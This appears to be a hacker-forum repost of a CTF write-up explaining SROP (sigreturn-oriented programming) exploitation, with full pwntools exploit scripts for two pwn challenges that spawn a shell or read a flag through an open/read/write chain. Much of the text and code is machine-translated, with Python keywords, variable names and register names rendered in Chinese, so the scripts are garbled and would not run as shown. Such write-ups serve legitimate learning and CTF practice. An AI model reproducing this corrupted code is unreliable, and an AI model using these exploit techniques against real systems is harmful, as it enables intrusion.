跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

这次第六届安迅杯有两道与SROP相关的题目,只是对所学SROP知识的总结。

## 基础知识

SROP,全称是Sigreturn Oriented Planning。主要触发原理是sigreturn系统调用。当信号发生时,该系统调用通常由程序间接调用。

### 信号机制

来自ctfwiki:[SROP](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop)

信号机制是类Unix系统中进程之间传输信息的一种方法。一般我们也称其为软中断信号,或者软中断。例如,可以通过系统调用kill在进程之间发送软中断信号。一般来说,信号机制的常用步骤如下所示:379190439136349b5527dbf303212f44.png

1、内核向进程发送信号机制,进程会被暂时挂起,进入内核态。

2、内核会为进程保存相应的上下文,主要是将所有寄存器压入栈,压入信号信息,以及指向sigreturn的系统调用地址。此时栈的结构如下图所示。我们将ucontext 和siginfo 部分称为信号帧。需要注意的是,这部分是在用户进程的地址空间中。然后它会跳转到注册的信号处理程序来处理相应的信号。因此,信号处理程序执行完毕后,就会执行sigreturn代码。

3. 信号处理程序返回后,内核执行sigreturn 系统调用来恢复进程先前保存的上下文,其中包括压入所有已注册的寄存器,弹出相应的寄存器,最后恢复进程的执行。其中,32位sigreturn的调用号为119(0x77),64位系统调用号为15(0xf)。

## 漏洞利用

读完原理我们可以发现,sigreturn系统调用会将进程恢复到之前“保存”的状态,即将寄存器从栈中弹出。在sigreturn系统调用执行过程中,我们可以随意读写堆栈中的值,并且由于内核与信号处理程序无关,因此不会记录信号对应的寄存器值。所以,只要我们能够劫持栈中的数据,伪造一个信号帧,我们就可以控制任意寄存器的值

### shell 获取

当我们可以控制任意寄存器的值时,只要程序中的数据满足条件,我们就可以使用SROP来获取shell

通过研究ROP攻击,我们知道获取shell实际上是执行系统调用execve(\'/bin/sh\',0,0)。那么是否可以通过控制寄存器来执行这个系统调用呢?答案是肯定的。

获得shell需要满足以下条件:

- 堆栈溢出来控制堆栈的内容

- 可以控制rax寄存器为sigreturn系统调用函数的调用号

- 有syscall系统调用函数或汇编代码

- 堆栈空间足够大

具体的SROP操作如下:

1.通过堆栈溢出劫持返回地址并构造SROP

2.控制rax寄存器作为sigreturn的系统调用号

3.执行syscall进入sigreturn系统调用

4、控制堆栈布局,使得sigreturn系统调用之后的pop指令能够准确的控制各个寄存器到我们想要的值。

例如获取shell的寄存器控制:

rax —59(execve系统调用号)

rdi — '/bin/sh'

相对强弱指数— 0

rdx—0

rip——系统调用

此时继续往下调用就可以执行execve(\'/bin/sh\',0,0)了。

### SROP 链调用

当然,SROP不能只调用一次。只要堆栈布局合理并且已知一些关键数据,我们就可以执行一系列的SROP链。

例如当程序开启沙箱保护时

我们需要使用open、read、write三个调用

可以进行如下结构333bd13eb891c4ddd893027a8ecae5c7.png

这样,通过设置rsp,我们就可以保证srop链被顺序调用。

## 工具使用

pwntools集成了关于SROP链的构造函数SigreturnFrame()

工具结构及使用如下:

````

框架=SigreturnFrame()

帧.rax=

框架.rdi=

帧.rsi=

框架.rdx=

框架.rcx=

帧.rip=

框架.rsp=

````

使用并参与堆栈布局的构建

只需在有效负载结构中使用字节(帧)包装

## 一些容易踩的陷阱

程序中有两种类型的系统调用:

一种是syscall函数,它出现在ida中,具有以下类似的汇编代码:

````

.text:00000000004013F7 48 8D 45 E0 lea rax,[rbp+var_20]

.text:00000000004013FB B9 18 00 00 00 mov ecx,18h

.text:0000000000401400 48 89 C2 mov rdx, rax

.text:0000000000401403 BE 01 00 00 00 mov esi, 1

.text:0000000000401408BF 01 00 00 00 mov edi, 1

.text:000000000040140D B8 00 00 00 00 mov eax, 0

.text:0000000000401412 E8 49 FC FF FF 调用_syscall

````

其plt表也可以在ida e447e988bd18b0a4d451a82a400af79e.png中找到

另一种是系统调用的机器代码形式:

````

.text:00000000004011DC 48 31 C0 异或rax, rax

.text:00000000004011DF 48 C7 C2 00 02 00 00 mov rdx, 200h ;计数

.text:00000000004011E6 48 8D 74 24 F0 lea rsi, [rsp+buf] ;缓冲区

.text:00000000004011EB 48 89 C7 mov rdi, rax ; FD

.text:00000000004011EE 0F 05 系统调用

````

一般以sys_read、sys_write等伪C代码的形式出现ae3f258b694ad0f318b44fed8c8f6554.png

这两种系统调用形式会导致不同的构造方法

具体来说,syscall以syscall函数的形式出现

呼叫流程如下:c39053442f42989a608140290e769fac.png

由于syscall函数调用需要遵循寄存器参数传递条件,因此在syscall函数调用过程中寄存器将被重新分配。那么在构造工具函数SigreturnFrame()时,需要根据参数传递规则改变调用规则。

## 例1.2023年江西省赛预赛pwn2

### 艾达

````

int __cdecl main(int argc, const char **argv, const char **envp)

{

字符缓冲区[16]; //[rsp+0h] [rbp-10h] BYREF

返回sys_read(0, buf,0x200uLL);

}

````

一个非常简单的问题

给定相应的小工具

````

.text:0000000000401131; __放松{

.text:0000000000401131 F3 0F 1E FA endbr64

.text:0000000000401135 55 推送rbp

.text:0000000000401136 48 89 E5 mov rbp, rsp

.text:0000000000401139 48 C7 C0 0F 00 00 00 mov rax, 0Fh

.text:0000000000401140 C3

````

直接SROP构建就足够了

### 经验值

````

从pwn 导入*

elf=ELF(\'./pwn\')

io=远程('101.132.112.252',30573)

#io=进程('./pwn')

上下文(log_level='调试',os='linux',arch='amd64')

def dbg():

gdb.attach(io)

暂停()

syscall_ret=0x401127

ret=0x4000FE

数据=0x404028

pop_rax=0x401139

#gdb.attach(io,'b0x0000000004000FE')

sigframe=SigreturnFrame()

sigframe.rax=0

sigframe.rdi=0

sigframe.rdx=0x400

sigframe.rsi=数据

sigframe.rsp=数据+8

sigframe.rip=syscall_ret

有效负载=b'a'*0x10+p64(pop_rax)+p64(syscall_ret)+字节(sigframe)#

io.send(有效负载)

#dbg()

sigframe1=SigreturnFrame()

sigframe1.rax=59

sigframe1.rdi=数据

sigframe1.rsi=0

sigframe1.rdx=0

sigframe1.rsp=0

sigframe1.rip=syscall_ret

Payload1=b'/bin/sh\\x00'+p64(pop_rax)+p64(syscall_ret)+字节(sigframe1)

io.sendline(有效负载1)

io.interactive()

````

### 经验分析

````

有效负载=b'a'*0x10+p64(pop_rax)+p64(syscall_ret)+字节(sigframe)

````

因为程序中没有sh字符串,所以我们需要构造一个read将/bin/sh字符串写入程序中,然后继续执行下一个srop链。

然后将rsp位置设置为一个bss段的地址,这实际上产生了类似于堆栈迁移的效果,导致rsp继续向下执行代码到对应位置35f250833dca63f5162e5e2f036bcdb0.png

````

Payload1=b'/bin/sh\\x00'+p64(pop_rax)+p64(syscall_ret)+字节(sigframe1)

````

所以实际上data+8正是输入f7b55e08d138f2255e15b8a0a0b2f39e.png后p64(poprax)的位置

然后执行getshell 64fd8a04fcf701fe2a4f91bdf5bf1f08.png

## 示例2.第六届安讯杯网络安全挑战赛pwn2

### 艾达

````

__int64 sub_40136E()

{

字符v1[10]; //[rsp+6h] [rbp-2Ah] BYREF

_QWORD v2[4]; //[rsp+10h] [rbp-20h] BYREF

v2[0]=0x6F6E6B2075206F44LL;

v2[1]=0x6920746168772077LL;

v2[2]=0xA3F444955532073LL;

strcpy(v1, \'easyhack\

\');

系统调用(1LL,1LL,v1,9LL);

系统调用(0LL,0LL,unk_404060,4096LL);

系统调用(1LL,1LL,v2,24LL);

系统调用(0LL,0LL,v1,58LL);

返回0LL;

}

````

也打开了沙盒

````

线路代码JT JF K

===================================

0000:0x200x000x000x00000004 A=拱形

0001:0x150x000x0a0xc000003e if (A !=ARCH_X86_64) 转到0012

0002:0x200x000x000x00000000 A=系统编号

0003:0x350x000x010x40000000 如果(A0x40000000) 转到0005

0004:0x150x000x070xffffffff 如果(A!=0xffffffff) 转到0012

0005:0x150x050x000x00000000 如果(A==读取)转到0011

0006:0x150x040x000x00000001 如果(A==写入)转到0011

0007:0x150x030x000x00000002 如果(A==打开)转到0011

0008:0x150x020x000x0000000f if (A==rt_sigreturn) 转到0011

0009:0x150x010x000x0000005a 如果(A==chmod) 转到0011

0010:0x150x000x010x000000e7 if (A !=exit_group) 转到0012

0011:0x060x000x000x7fff0000 返回允许

0012:0x060x000x000x00000000 返回杀死

````

orw有它

并且有两个系统调用

````

.plt:0000000000401060 FF 25 6A 2F 00 00 jmp cs:syscall_ptr

.plt:0000000000401060

.plt:0000000000401060 _系统调用结束点

.text:0000000000401186 55 推送rbp

.text:0000000000401187 48 89 E5 mov rbp, rsp

.text:000000000040118A 0F 05 系统调用

````

### 分析代码

````

系统调用(0LL,0LL,unk_404060,4096LL);

系统调用(0LL,0LL,v1,58LL);

````

可以看到有两块输入,一块在bss段上,大小为0x1000,另一块在栈上,溢出了0x10字节。

输入长度不够如何构造srop?

这时我们就可以利用这个0x10字节溢出来实现堆栈迁移。将堆栈迁移到bss段后,通过读取第一个段就可以实现非常大的数据读取,这足以构造一个三段SROP链。

程序中也给出了rax的赋值

````

.text:000000000040118F 55 推送rbp

.text:0000000000401190 48 89 E5 mov rbp, rsp

.text:0000000000401193 48 C7 C0 0F 00 00 00 mov rax, 0Fh

.text:000000000040119A C3 retn

````

### 经验分析

````

io.sendafter('easyhack\

','0')

io.sendafter('SUID?\

',b'\\x00'*(0x2a)+p64(0x404050+0x30)+p64(0x401417))

io.send(b'\\x00'*(0x2a)+p64(0x404050+0x30+0x2a)+p64(0x401417))

io.send(p64(0x404050+0x30+0x2a+0x10)+p64(0x40136e))

````

第一个是经典的0x10 字节堆栈迁移过程。如果不明白,可以看这篇文章:【栈迁移详解-先知社区(aliyun.com)】(https://xz.aliyun.com/t/12189)

这里就不多赘述了

接下来是SROP链的构建:

````

有效负载=b'./flag\\x00\\x00'.ljust(0x30, b'\\x00')

框架=SigreturnFrame()

框架.rdi=常量.SYS_open

帧.rsi=0x404060

帧.rdx=0

框架.rcx=0

frame.rip=系统调用

帧.rsp=0x404198

有效负载+=p64(rax_15)+p64(syscall2)+字节(帧)

框架=SigreturnFrame()

框架.rdi=常量.SYS_read

帧.rsi=3

帧.rdx=elf.bss()+0x500

帧.rcx=0x50

frame.rip=系统调用

帧.rsp=0x4042a0

有效负载+=p64(rax_15)+p64(syscall2)+字节(帧)

框架=SigreturnFrame()

框架.rdi=常量.SYS_write

帧.rsi=1

帧.rdx=elf.bss()+0x500

帧.rcx=0x50

frame.rip=系统调用

帧.rsp=0

有效负载+=p64(rax_15)+p64(syscall2)+字节(帧)

````

三阶段构造,打开、读取、写入,将标志字符串和垃圾数据放在一起构造堆栈溢出

然后是rax-15、syscall、frame

重点是rsp位置需要通过调试确定运行地址1d3f8b3f008166f2cd69feacf62e8841.png

51a6c6ad16c84364170c1ff006f48eb9.png

让rsp正好落在下一个SROP链的起点,依次执行99f003384f959e0423ac368a3551b908.png

bdbb2b7375e4862f7fa74eb535e04332.png

20479d3d553dad99aa3551d4adb333e3.png

2219e6880c68d91096eb72512794c4a1.png

完整经验:

````

从pwn 导入*

io=进程('./chall2')

#io=远程('47.108.206.43',37272)

context.log_level='调试'

上下文(os='linux',arch='amd64')

elf=ELF('./chall2')

系统调用2=0x40118A

系统调用=0x401060

rax_15=0x401193

主要=0x40136e

io.sendafter('easyhack\

','0')

io.sendafter('SUID?\

',b'\\x00'*(0x2a)+p64(0x404050+0x30)+p64(0x401417))

io.send(b'\\x00'*(0x2a)+p64(0x404050+0x30+0x2a)+p64(0x401417))

io.send(p64(0x404050+0x30+0x2a+0x10)+p64(0x40136e))

有效负载=b'./flag\\x00\\x00'.ljust(0x30, b'\\x00')

框架=SigreturnFrame()

框架.rdi=常量.SYS_open

帧.rsi=0x404060

帧.rdx=0

框架.rcx=0

frame.rip=系统调用

帧.rsp=0x404198

有效负载+=p64(rax_15)+p64(syscall2)+字节(帧)

框架=SigreturnFrame()

框架.rdi=常量.SYS_read

帧.rsi=3

帧.rdx=elf.bss()+0x500

帧.rcx=0x50

frame.rip=系统调用

帧.rsp=0x4042a0

有效负载+=p64(rax_15)+p64(syscall2)+字节(帧)

框架=SigreturnFrame()

框架.rdi=常量.SYS_write

帧.rsi=1

帧.rdx=elf.bss()+0x500

帧.rcx=0x50

frame.rip=系统调用

帧.rsp=0x404088

有效负载+=p64(rax_15)+p64(syscall2)+字节(帧)

io.sendafter('easyhack\

',有效负载)

io.send('a')

io.interactive()

```转载自先知社区:https://xz.aliyun.com/t/13198?time__1311=mqmxnDBDcD2DyDGhDBqtsiaf6D9DIxbDalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F1

添加一名作者

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。